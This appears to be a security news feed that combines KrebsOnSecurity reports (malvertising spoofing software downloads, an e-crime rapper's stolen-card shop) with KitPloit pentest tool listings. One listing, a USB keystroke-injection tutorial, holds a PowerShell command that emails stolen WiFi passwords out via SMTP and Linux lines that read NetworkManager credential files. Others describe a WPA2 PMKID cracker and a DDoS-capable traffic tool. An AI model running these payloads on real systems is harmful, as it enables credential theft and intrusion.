    In February 2023, Hegel co-authored a report on this same network, which Sentinel One has dubbed MalVirt (a play on “malvertising”). They concluded that the surge in malicious ads spoofing various software products was directly responsible for a surge in malware infections from infostealer trojans like IcedID, Redline Stealer, Formbook and AuroraStealer.

    Hegel noted that the spike in malicious software-themed ads came not long after Microsoft started blocking by default Office macros in documents downloaded from the Internet. He said the volume of the current malicious ad campaigns from this group appears to be relatively low compared to a year ago.

    “It appears to be same campaign continuing,” Hegel said. “Last January, every Google search for ‘Autocad’ led to something bad. Now, it’s like they’re paying Google to get one out of every dozen of searches. My guess it’s still continuing because of the up-and-down [of the] domains hosting malware and then looking legitimate.”

    Several of the websites at this Netherlands host (93.190.143[.]252) are currently blocked by Google’s Safebrowsing technology, and labeled with a conspicuous red warning saying the website will try to foist malware on visitors who ignore the warning and continue.

    But it remains a mystery why Google has not similarly blocked more than 240+ other domains at this same host, or else removed them from its search index entirely. Especially considering there is nothing else but these domains hosted at that Netherlands IP address, and because they have all remained at that address for the past year.

    In response to questions from KrebsOnSecurity, Google said maintaining a safe ads ecosystem and keeping malware off of its platforms is a priority across Google.

    “Bad actors often employ sophisticated measures to conceal their identities and evade our policies and enforcement, sometimes showing Google one thing and users something else,” Google said in a written statement. “We’ve reviewed the ads in question, removed those that violated our policies, and suspended the associated accounts. We’ll continue to monitor and apply our protections.”

    Google says it removed 5.2 billion ads in 2022, and restricted more than 4.3 billion ads and suspended over 6.7 million advertiser accounts. The company’s latest ad safety report says Google in 2022 blocked or removed 1.36 billion advertisements for violating its abuse policies.

    Some of the domains referenced in this story were included in Sentinel One’s February 2023 report, but dozens more have been added since, such as those spoofing the official download sites for Corel Draw, Github Desktop, Roboform and Teamviewer.

    This October 2023 report on the FreeCAD user forum came from a user who reported downloading a copy of the software from freecadsoft[.]com after seeing the site promoted at the top of a Google search result for “freecad.” Almost a month later, another FreeCAD user reported getting stung by the same scam.

    “This got me,” FreeCAD forum user “Matterform” wrote on Nov. 19, 2023. “Please leave a report with Google so it can flag it. They paid Google for sponsored posts.”

    Sentinel One’s report didn’t delve into the “who” behind this ongoing MalVirt campaign, and there are precious few clues that point to attribution. All of the domains in question were registered through webnic.cc, and several of them display a placeholder page saying the site is ready for content. Viewing the HTML source of these placeholder pages shows many of the hidden comments in the code are in Cyrillic.

    Trying to track the crooks using Google’s Ad Transparency tools didn’t lead far. The ad transparency record for the malicious ad featuring freecad-us[.]org (in the screenshot above) shows that the advertising account used to pay for the ad has only run one previous ad through Google search: It advertised a wedding photography website in New Zealand.

    The apparent owner of that photography website did not respond to requests for comment, but it’s also likely his Google advertising account was hacked and used to run these malicious ads.

    ☐ ☆ ✇ Krebs on Security

    E-Crime Rapper ‘Punchmade Dev’ Debuts Card Shop

    By: BrianKrebs — January 17th 2024 at 17:00

    The rapper and social media personality Punchmade Dev is perhaps best known for his flashy videos singing the praises of a cybercrime lifestyle. With memorable hits such as “Internet Swiping” and “Million Dollar Criminal” earning millions of views, Punchmade has leveraged his considerable following to peddle tutorials on how to commit financial crimes online. But until recently, there wasn’t much to support a conclusion that Punchmade was actually doing the cybercrime things he promotes in his songs.

    Images from Punchmade Dev’s Twitter/X account show him displaying bags of cash and wearing a functional diamond-crusted payment card skimmer.

    Punchmade Dev’s most controversial mix — a rap called “Wire Fraud Tutorial” — was taken down by Youtube last summer for violating the site’s rules. Punchmade shared on social media that the video’s removal was prompted by YouTube receiving a legal process request from law enforcement officials.

    The 24-year-old rapper told reporters he wasn’t instructing people how to conduct wire fraud, but instead informing his fans on how to avoid being victims of wire fraud. However, this is difficult to discern from listening to the song, which sounds very much like a step-by-step tutorial on how to commit wire fraud.

    “Listen up, I’m finna show y’all how to hit a bank,” Wire Fraud Tutorial begins. “Just pay attention, this is a quick way to jug in any state. First you wanna get a bank log from a trusted site. Do your research because the information must be right.”

    And even though we’re talking about an individual who regularly appears in videos wearing a half-million dollars worth of custom jewelry draped around his arm and neck (including the functional diamond-encrusted payment card skimming device pictured above), there’s never been much evidence that Punchmade was actually involved in committing cybercrimes himself. Even his most vocal critics acknowledged that the whole persona could just be savvy marketing.

    That changed recently when Punchmade’s various video and social media accounts began promoting a new web shop that is selling stolen payment cards and identity data, as well as hacked financial accounts and software for producing counterfeit checks.

    Punchmade Dev's shop.

    Punchmade Dev’s shop.

    The official Punchmadedev account on Instagram links to many of the aforementioned rap videos and tutorials on cybercriming, as well as to Punchmadedev’s other profiles and websites. Among them is mainpage[.]me/punchmade, which includes the following information for “Punchmade Empire ®

    -212,961 subscribers

    #1 source on Telegram

    Contact: @whopunchmade

    24/7 shop: https://punchmade[.]atshop[.]io

    Visiting that @whopunchmade Telegram channel shows this user is promoting punchmade[.]atshop[.]io, which is currently selling hacked bank accounts and payment cards with high balances.

    Clicking “purchase” on the C@sh App offering, for example, shows that for $80 the buyer will receive logins to Cash App accounts with balances between $3,000 and $5,000. “If you buy this item you’ll get my full support on discord/telegram if there is a problem!,” the site promises. Purchases can be made in cryptocurrencies, and checking out prompts one to continue payment at Coinbase.com.

    Another item for sale, “Fullz + Linkable CC,” promises “ID Front + Back, SSN with 700+ Credit Score, and Linkable CC” or credit card. That also can be had for $80 in crypto.

    WHO IS PUNCHMADE DEV?

    Punchmade has fashioned his public persona around a collection of custom-made, diamond-covered necklaces that are as outlandish and gaudy as they are revelatory. My favorite shot from one of Punchmade’s videos features at least three of these monstrosities: One appears to be a boring old diamond and gold covered bitcoin, but the other two necklaces tell us something about where Punchmade is from:

    Notice the University of Kentucky logo, and the Lexington, Ky skyline.

    One of them includes the logo and mascot of the University of Kentucky. The other, an enormous diamond studded skyline, appears to have been designed based on the skyline in Lexington, Ky:

    The “About” page on Punchmade Dev’s Spotify profile describes him as “an American artist, rapper, musician, producer, director, entrepreneur, actor and investor.” “Punchmade Dev is best known for his creative ways to use technology, video gaming, and social media to build a fan base,” the profile continues.

    The profile explains that he launched his own record label in 2021 called Punchmade Records, where he produces his own instrumentals and edits his own music videos.

    A search on companies that include the name “punchmade” at the website of the Kentucky Secretary of State brings up just one record: OBN Group LLC, in Lexington, Ky. This November 2021 record includes a Certificate of Assumed Name, which shows that Punchmade LLC is the assumed name of OBN Group LLC.

    The president of OBN Group LLC is listed as Devon Turner. A search on the Secretary of State website for other businesses tied to Devon Turner reveals just one other record: A now-defunct entity called DevTakeFlightBeats Inc.

    The breach tracking service Constella Intelligence finds that Devon Turner from Lexington, Ky. used the email address obndevpayments@gmail.com. A lookup on this email at DomainTools.com shows it was used to register the domain foreverpunchmade[.]com, which is registered to a Devon Turner in Lexington, Ky. A copy of this site at archive.org indicates it once sold Punchmade Dev-branded t-shirts and other merchandise.

    Mr. Turner did not respond to multiple requests for comment.

    Searching online for Devon Turner and “Punchmade” brings up a video from @brainjuiceofficial, a YouTube channel that focuses on social media celebrities. @Brainjuiceofficial says Turner was born in October 2000, the oldest child of a single mother of five whose husband was not in the picture.

    Devon Turner, a.k.a. “Punchmade Dev,” in an undated photo.

    The video says the six-foot five Turner played basketball, track and football in high school, but that he gradually became obsessed with playing the video game NBA 2K17 and building a following of people watching him play the game competitively online.

    According to this brief documentary, Turner previously streamed his NBA 2K17 videos on a YouTube channel called DevTakeFlight, although he originally went by the nickname OBN Dev.

    “Things may eventually catch up to Devon if he isn’t careful,” @Brainjuiceofficial observed, noting that Turner has been shot at before, and also robbed at an ATM while flexing a bunch of cash for a picture and wearing $500k in jewelry. “Although you have a lot of people that are into what you do, there are a lot of people waiting for you to slip up.”

    ☐ ☆ ✇ KitPloit - PenTest Tools!

    Pmkidcracker - A Tool To Crack WPA2 Passphrase With PMKID Value Without Clients Or De-Authentication

    By: Zion3R — January 15th 2024 at 11:30


    This program is a tool written in Python to recover the pre-shared key of a WPA2 WiFi network without any de-authentication or requiring any clients to be on the network. It targets the weakness of certain access points advertising the PMKID value in EAPOL message 1.


    Program Usage

    python pmkidcracker.py -s <SSID> -ap <APMAC> -c <CLIENTMAC> -p <PMKID> -w <WORDLIST> -t <THREADS(Optional)>

    NOTE: apmac, clientmac, pmkid must be a hexstring, e.g b8621f50edd9

    How PMKID is Calculated

    The two main formulas to obtain a PMKID are as follows:

    1. Pairwise Master Key (PMK) Calculation: passphrase + salt(ssid) => PBKDF2(HMAC-SHA1) of 4096 iterations
    2. PMKID Calculation: HMAC-SHA1[pmk + ("PMK Name" + bssid + clientmac)]

    This is just for understanding, both are already implemented in find_pw_chunk and calculate_pmkid.

    Obtaining the PMKID

    Below are the steps to obtain the PMKID manually by inspecting the packets in WireShark.

    *You may use Hcxtools or Bettercap to quickly obtain the PMKID without the below steps. The manual way is for understanding.

    To obtain the PMKID manually from wireshark, put your wireless antenna in monitor mode, start capturing all packets with airodump-ng or similar tools. Then connect to the AP using an invalid password to capture the EAPOL 1 handshake message. Follow the next 3 steps to obtain the fields needed for the arguments.

    Open the pcap in WireShark:

    • Filter with wlan_rsna_eapol.keydes.msgnr == 1 in WireShark to display only EAPOL message 1 packets.
    • In EAPOL 1 pkt, Expand IEEE 802.11 QoS Data Field to obtain AP MAC, Client MAC
    • In EAPOL 1 pkt, Expand 802.1 Authentication > WPA Key Data > Tag: Vendor Specific > PMKID is below

    If access point is vulnerable, you should see the PMKID value like the below screenshot:

    Demo Run

    Disclaimer

    This tool is for educational and testing purposes only. Do not use it to exploit the vulnerability on any network that you do not own or have permission to test. The authors of this script are not responsible for any misuse or damage caused by its use.



    ☐ ☆ ✇ KitPloit - PenTest Tools!

    PhantomCrawler - Boost Website Hits By Generating Requests From Multiple Proxy IPs

    By: Zion3R — January 4th 2024 at 11:30


    PhantomCrawler allows users to simulate website interactions through different proxy IP addresses. It leverages Python, requests, and BeautifulSoup to offer a simple and effective way to test website behaviour under varied proxy configurations.

    Features:

    • Utilizes a list of proxy IP addresses from a specified file.
    • Supports both HTTP and HTTPS proxies.
    • Allows users to input the target website URL, proxy file path, and a static port.
    • Makes HTTP requests to the specified website using each proxy.
    • Parses HTML content to extract and visit links on the webpage.

    Usage:

    • POC Testing: Simulate website interactions to assess functionality under different proxy setups.
    • Web Traffic Increase: Boost website hits by generating requests from multiple proxy IPs.
    • Proxy Rotation Testing: Evaluate the effectiveness of rotating proxy IPs.
    • Web Scraping Testing: Assess web scraping tasks under different proxy configurations.
    • DDoS Awareness: Caution: The tool has the potential for misuse as a DDoS tool. Ensure responsible and ethical use.

    Get New Proxies with port and add in proxies.txt in this format 50.168.163.176:80
    • You can add it from here: https://free-proxy-list.net/ these free proxies are not validated some might not work so first validate these proxies before adding.

    How to Use:

    1. Clone the repository:
    git clone https://github.com/spyboy-productions/PhantomCrawler.git
    1. Install dependencies:
    pip3 install -r requirements.txt
    1. Run the script:
    python3 PhantomCrawler.py

    Disclaimer: PhantomCrawler is intended for educational and testing purposes only. Users are cautioned against any misuse, including potential DDoS activities. Always ensure compliance with the terms of service of websites being tested and adhere to ethical standards.


    Snapshots:

    If you find this GitHub repo useful, please consider giving it a star! 



    ☐ ☆ ✇ KitPloit - PenTest Tools!

    WiFi-password-stealer - Simple Windows And Linux Keystroke Injection Tool That Exfiltrates Stored WiFi Data (SSID And Password)

    By: Zion3R — January 2nd 2024 at 11:30


    Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim's computer and steal data from it? - A proper wet dream for some.

    Disclaimer: All content in this project is intended for security research purpose only.

     

    Introduction

    During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim's computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).

    Setup

    After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.

    Prerequisites

    • Physical access to victim's computer.

    • Unlocked victim's computer.

    • Victim's computer has to have an internet access in order to send the stolen data using SMTP for the exfiltration over a network medium.

    • Knowledge of victim's computer password for the Linux exploit.

    Requirements - What you'll need


    • Raspberry Pi Pico (RPi Pico)
    • Micro USB to USB Cable
    • Jumper Wire (optional)
    • pico-ducky - Transformed RPi Pico into a USB Rubber Ducky
    • USB flash drive (for the exploit over physical medium only)


    Note:

    • It is possible to build this tool using Rubber Ducky, but keep in mind that RPi Pico costs about $4.00 and the Rubber Ducky costs $80.00.

    • However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.

    • In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these simple steps in order to create pico-ducky.

    Keystroke injection tool

    Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.

    Keystroke injection

    The payload uses STRING command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The ENTER/SPACE will simulate a press of keyboard keys.

    Delays

    We use DELAY command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of HIDs setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.

    Exfiltration

    Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:

    • Exfiltration over the network medium.
      • This approach was used for the Windows exploit. The whole payload can be seen here.

    • Exfiltration over a physical medium.
      • This approach was used for the Linux exploit. The whole payload can be seen here.

    Windows exploit

    In order to use the Windows payload (payload1.dd), you don't need to connect any jumper wire between pins.

    Sending stolen data over email

    Once passwords have been exported to the .txt file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following link. Also, the payload template needs to be updated with your SMTP information, meaning that you need to update RECEIVER_EMAIL, SENDER_EMAIL and yours email PASSWORD. In addition, you could also update the body and the subject of the email.

    STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587

    Note:

    • After sending data over the email, the .txt file is deleted.

    • You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.

    • Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.

    Linux exploit

    In order to use the Linux payload (payload2.dd) you need to connect a jumper wire between GND and GPIO5 in order to comply with the code in code.py on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this link.

    Storing stolen data to USB flash drive

    Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace USBSTICK with the name of your USB drive in two places.

    STRING echo -e "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt

    STRING done >> /media/$(hostname)/USBSTICK/wifi_pass.txt

    In addition, you will also need to update the Linux PASSWORD in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim's Linux machine password, which makes this attack less plausible.

    STRING echo PASSWORD | sudo -S echo

    STRING do echo -e "$(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=psk=).*')"

    Bash script

    In order to run the wifi_passwords_print.sh script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:

    echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICK

    where PASSWORD is your account's password and USBSTICK is the name for your USB device.

    Quick overview of the payload

    NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).* will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.

    For more information about NetworkManager here is some useful links:

    Exfiltrated data formatting

    Below is an example of the exfiltrated and formatted data from a victim's machine in a .txt file.

    Wireless_Network_Name Password
    --------------------- --------
    WLAN1 pass1
    WLAN2 pass2
    WLAN3 pass3

    USB Mass Storage Device Problem

    One of the advantages of Rubber Ducky over RPi Pico is that it doesn't show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn't a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15). For more details visit this link.

    Tip:

    • Upload your payload to RPi Pico before you connect the pins.
    • Don't solder the pins because you will probably want to change/update the payload at some point.

    Payload Writer

    When creating a functioning payload file, you can use the writer.py script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload1.dd). Below you can find an example how to run the writer script when creating a Windows payload.

    python3 writer.py windows payload1.dd

    Limitations/Drawbacks

    • This pico-ducky currently works only on Windows OS.

    • This attack requires physical access to an unlocked device in order to be successfully deployed.

    • The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.

    • Machine's firewall or network's firewall may prevent stolen data from being sent over the network medium.

    • Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.

    • The pico-ducky device isn't really stealthy, actually it's quite the opposite, it's really bulky especially if you solder the pins.

    • Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.

    • If the Caps Lock is ON, some of the payload code will not be executed and the exploit will fail.

    • If the computer has a non-English Environment set, this exploit won't be successful.

    • Currently, pico-ducky doesn't support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.

    To-Do List

    • Fix Caps Lock bug.
    • Fix non-English Environment bug.
    • Obfuscate the command prompt.
    • Implement exfiltration over a physical medium.
    • Create a payload for Linux.
    • Encode/Encrypt exfiltrated data before sending it over email.
    • Implement indicator of successfully completed exploit.
    • Implement command history clean-up for Linux exploit.
    • Enhance the Linux exploit in order to avoid usage of sudo.


    ☐ ☆ ✇ KitPloit - PenTest Tools!

    Top 20 Most Popular Hacking Tools in 2023

    By: Zion3R — December 28th 2023 at 11:30

    As last year, this year we made a ranking with the most popular tools between January and December 2023.

    The tools of this year encompass a diverse range of cybersecurity disciplines, including AI-Enhanced Penetration Testing, Advanced Vulnerability Management, Stealth Communication Techniques, Open-Source General Purpose Vulnerability Scanning, and more.

    Without going into further details, we have prepared a useful list of the most popular tools in Kitploit 2023:


    1. PhoneSploit-Pro - An All-In-One Hacking Tool To Remotely Exploit Android Devices Using ADB And Metasploit-Framework To Get A Meterpreter Session


    2. Gmailc2 - A Fully Undetectable C2 Server That Communicates Via Google SMTP To Evade Antivirus Protections And Network Traffic Restrictions


    3. Faraday - Open Source Vulnerability Management Platform


    4. CloakQuest3r - Uncover The True IP Address Of Websites Safeguarded By Cloudflare


    5. Killer - Is A Tool Created To Evade AVs And EDRs Or Security Tools


    6. Geowifi - Search WiFi Geolocation Data By BSSID And SSID On Different Public Databases


    7. Waf-Bypass - Check Your WAF Before An Attacker Does


    8. PentestGPT - A GPT-empowered Penetration Testing Tool


    9. Sirius - First Truly Open-Source General Purpose Vulnerability Scanner


    10. LSMS - Linux Security And Monitoring Scripts


    11. GodPotato - Local Privilege Escalation Tool From A Windows Service Accounts To NT AUTHORITY\SYSTEM


    12. Bypass-403 - A Simple Script Just Made For Self Use For Bypassing 403


    13. ThunderCloud - Cloud Exploit Framework


    14. GPT_Vuln-analyzer - Uses ChatGPT API And Python-Nmap Module To Use The GPT3 Model To Create Vulnerability Reports Based On Nmap Scan Data


    15. Kscan - Simple Asset Mapping Tool


    16. RedTeam-Physical-Tools - Red Team Toolkit - A Curated List Of Tools That Are Commonly Used In The Field For Physical Security, Red Teaming, And Tactical Covert Entry


    17. DNSWatch - DNS Traffic Sniffer and Analyzer


    18. IpGeo - Tool To Extract IP Addresses From Captured Network Traffic File


    19. TelegramRAT - Cross Platform Telegram Based RAT That Communicates Via Telegram To Evade Network Restrictions


    20. XSS-Exploitation-Tool - An XSS Exploitation Tool





    Happy New Year wishes the KitPloit team!


    ☐ ☆ ✇ KitPloit - PenTest Tools!

    PipeViewer - A Tool That Shows Detailed Information About Named Pipes In Windows

    By: Zion3R — December 20th 2023 at 11:30


    A GUI tool for viewing Windows Named Pipes and searching for insecure permissions.

    The tool was published as part of a research about Docker named pipes:
    "Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 1"
    "Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 2"

    Overview

    PipeViewer is a GUI tool that allows users to view details about Windows Named pipes and their permissions. It is designed to be useful for security researchers who are interested in searching for named pipes with weak permissions or testing the security of named pipes. With PipeViewer, users can easily view and analyze information about named pipes on their systems, helping them to identify potential security vulnerabilities and take appropriate steps to secure their systems.


    Usage

    Double-click the EXE binary and you will get the list of all named pipes.

    Build

    We used Visual Studio to compile it.
    When downloading it from GitHub you might get error of block files, you can use PowerShell to unblock them:

    Get-ChildItem -Path 'D:\tmp\PipeViewer-main' -Recurse | Unblock-File

    Warning

    We built the project and uploaded it so you can find it in the releases.
    One problem is that the binary will trigger alerts from Windows Defender because it uses the NtObjerManager package which is flagged as virus.
    Note that James Forshaw talked about it here.
    We can't change it because we depend on third-party DLL.

    Features

    • A detailed overview of named pipes.
    • Filter\highlight rows based on cells.
    • Bold specific rows.
    • Export\Import to\from JSON.
    • PipeChat - create a connection with available named pipes.

    Demo

    PipeViewer3_v1.0.mp4

    Credit

    We want to thank James Forshaw (@tyranid) for creating the open source NtApiDotNet which allowed us to get information about named pipes.

    License

    Copyright (c) 2023 CyberArk Software Ltd. All rights reserved
    This repository is licensed under Apache-2.0 License - see LICENSE for more details.

    References

    For more comments, suggestions or questions, you can contact Eviatar Gerzi (@g3rzi) and CyberArk Labs.



    ☐ ☆ ✇ KitPloit - PenTest Tools!

    MacMaster - MAC Address Changer

    By: Zion3R — December 18th 2023 at 11:30


    MacMaster is a versatile command line tool designed to change the MAC address of network interfaces on your system. It provides a simple yet powerful solution for network anonymity and testing.

    Features

    • Custom MAC Address: Set a specific MAC address to your network interface.
    • Random MAC Address: Generate and set a random MAC address.
    • Reset to Original: Reset the MAC address to its original hardware value.
    • Custom OUI: Set a custom Organizationally Unique Identifier (OUI) for the MAC address.
    • Version Information: Easily check the version of MacMaster you are using.

    Installation

    MacMaster requires Python 3.6 or later.

    1. Clone the repository:
      $ git clone https://github.com/HalilDeniz/MacMaster.git
    2. Navigate to the cloned directory:
      cd MacMaster
    3. Install the package:
      $ python setup.py install

    Usage

    $ macmaster --help         
    usage: macmaster [-h] [--interface INTERFACE] [--version]
    [--random | --newmac NEWMAC | --customoui CUSTOMOUI | --reset]

    MacMaster: Mac Address Changer

    options:
    -h, --help show this help message and exit
    --interface INTERFACE, -i INTERFACE
    Network interface to change MAC address
    --version, -V Show the version of the program
    --random, -r Set a random MAC address
    --newmac NEWMAC, -nm NEWMAC
    Set a specific MAC address
    --customoui CUSTOMOUI, -co CUSTOMOUI
    Set a custom OUI for the MAC address
    --reset, -rs Reset MAC address to the original value

    Arguments

    • --interface, -i: Specify the network interface.
    • --random, -r: Set a random MAC address.
    • --newmac, -nm: Set a specific MAC address.
    • --customoui, -co: Set a custom OUI for the MAC address.
    • --reset, -rs: Reset MAC address to the original value.
    • --version, -V: Show the version of the program.
    1. Set a specific MAC address:
      $ macmaster.py -i eth0 -nm 00:11:22:33:44:55
    2. Set a random MAC address:
      $ macmaster.py -i eth0 -r
    3. Reset MAC address to its original value:
      $ macmaster.py -i eth0 -rs
    4. Set a custom OUI:
      $ macmaster.py -i eth0 -co 08:00:27
    5. Show program version:
      $ macmaster.py -V

    Replace eth0 with your desired network interface.

    Note

    You must run this script as root or use sudo to run this script for it to work properly. This is because changing a MAC address requires root privileges.

    Contributing

    Contributions are welcome! To contribute to MacMaster, follow these steps:

    1. Fork the repository.
    2. Create a new branch for your feature or bug fix.
    3. Make your changes and commit them.
    4. Push your changes to your forked repository.
    5. Open a pull request in the main repository.

    Contact

    For any inquiries or further information, you can reach me through the following channels:

    Contact



    ☐ ☆ ✇ KitPloit - PenTest Tools!

    NetProbe - Network Probe

    By: Zion3R — December 12th 2023 at 11:30


    NetProbe is a tool you can use to scan for devices on your network. The program sends ARP requests to any IP address on your network and lists the IP addresses, MAC addresses, manufacturers, and device models of the responding devices.

    Features

    • Scan for devices on a specified IP address or subnet
    • Display the IP address, MAC address, manufacturer, and device model of discovered devices
    • Live tracking of devices (optional)
    • Save scan results to a file (optional)
    • Filter by manufacturer (e.g., 'Apple') (optional)
    • Filter by IP range (e.g., '192.168.1.0/24') (optional)
    • Scan rate in seconds (default: 5) (optional)

    Download

    You can download the program from the GitHub page.

    $ git clone https://github.com/HalilDeniz/NetProbe.git

    Installation

    To install the required libraries, run the following command:

    $ pip install -r requirements.txt

    Usage

    To run the program, use the following command:

    $ python3 netprobe.py [-h] -t  [...] -i  [...] [-l] [-o] [-m] [-r] [-s]
    • -h,--help: show this help message and exit
    • -t,--target: Target IP address or subnet (default: 192.168.1.0/24)
    • -i,--interface: Interface to use (default: None)
    • -l,--live: Enable live tracking of devices
    • -o,--output: Output file to save the results
    • -m,--manufacturer: Filter by manufacturer (e.g., 'Apple')
    • -r,--ip-range: Filter by IP range (e.g., '192.168.1.0/24')
    • -s,--scan-rate: Scan rate in seconds (default: 5)

    Example:

    $ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -o results.txt -l

    Help Menu

    Scanner Tool options: -h, --help show this help message and exit -t [ ...], --target [ ...] Target IP address or subnet (default: 192.168.1.0/24) -i [ ...], --interface [ ...] Interface to use (default: None) -l, --live Enable live tracking of devices -o , --output Output file to save the results -m , --manufacturer Filter by manufacturer (e.g., 'Apple') -r , --ip-range Filter by IP range (e.g., '192.168.1.0/24') -s , --scan-rate Scan rate in seconds (default: 5) " dir="auto">
    $ python3 netprobe.py --help                      
    usage: netprobe.py [-h] -t [...] -i [...] [-l] [-o] [-m] [-r] [-s]

    NetProbe: Network Scanner Tool

    options:
    -h, --help show this help message and exit
    -t [ ...], --target [ ...]
    Target IP address or subnet (default: 192.168.1.0/24)
    -i [ ...], --interface [ ...]
    Interface to use (default: None)
    -l, --live Enable live tracking of devices
    -o , --output Output file to save the results
    -m , --manufacturer Filter by manufacturer (e.g., 'Apple')
    -r , --ip-range Filter by IP range (e.g., '192.168.1.0/24')
    -s , --scan-rate Scan rate in seconds (default: 5)

    Default Scan

    $ python3 netprobe.py 

    Live Tracking

    You can enable live tracking of devices on your network by using the -l or --live flag. This will continuously update the device list every 5 seconds.

    $ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l

    Save Results

    You can save the scan results to a file by using the -o or --output flag followed by the desired output file name.

    $ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l -o results.txt
    ┏━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
    ┃ IP Address   ┃ MAC Address       ┃ Packet Size ┃ Manufacturer                 ┃
    ┡━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
    │ 192.168.1.1  │ **:6e:**:97:**:28 │ 102         │ ASUSTek COMPUTER INC.        │
    │ 192.168.1.3  │ 00:**:22:**:12:** │ 102         │ InPro Comm                   │
    │ 192.168.1.2  │ **:32:**:bf:**:00 │ 102         │ Xiaomi Communications Co Ltd │
    │ 192.168.1.98 │ d4:**:64:**:5c:** │ 102         │ ASUSTek COMPUTER INC.        │
    │ 192.168.1.25 │ **:49:**:00:**:38 │ 102         │ Unknown                      │
    └──────────────┴───────────────────┴─────────────┴──────────────────────────────┘
    

    Contact

    If you have any questions, suggestions, or feedback about the program, please feel free to reach out to me through any of the following platforms:

    License

    This program is released under the MIT LICENSE. See LICENSE for more information.



    ☐ ☆ ✇ KitPloit - PenTest Tools!

    CloakQuest3r - Uncover The True IP Address Of Websites Safeguarded By Cloudflare

    By: Zion3R — December 8th 2023 at 11:30


    CloakQuest3r is a powerful Python tool meticulously crafted to uncover the true IP address of websites safeguarded by Cloudflare, a widely adopted web security and performance enhancement service. Its core mission is to accurately discern the actual IP address of web servers that are concealed behind Cloudflare's protective shield. Subdomain scanning is employed as a key technique in this pursuit. This tool is an invaluable resource for penetration testers, security professionals, and web administrators seeking to perform comprehensive security assessments and identify vulnerabilities that may be obscured by Cloudflare's security measures.


    Key Features:

    • Real IP Detection: CloakQuest3r excels in the art of discovering the real IP address of web servers employing Cloudflare's services. This crucial information is paramount for conducting comprehensive penetration tests and ensuring the security of web assets.

    • Subdomain Scanning: Subdomain scanning is harnessed as a fundamental component in the process of finding the real IP address. It aids in the identification of the actual server responsible for hosting the website and its associated subdomains.

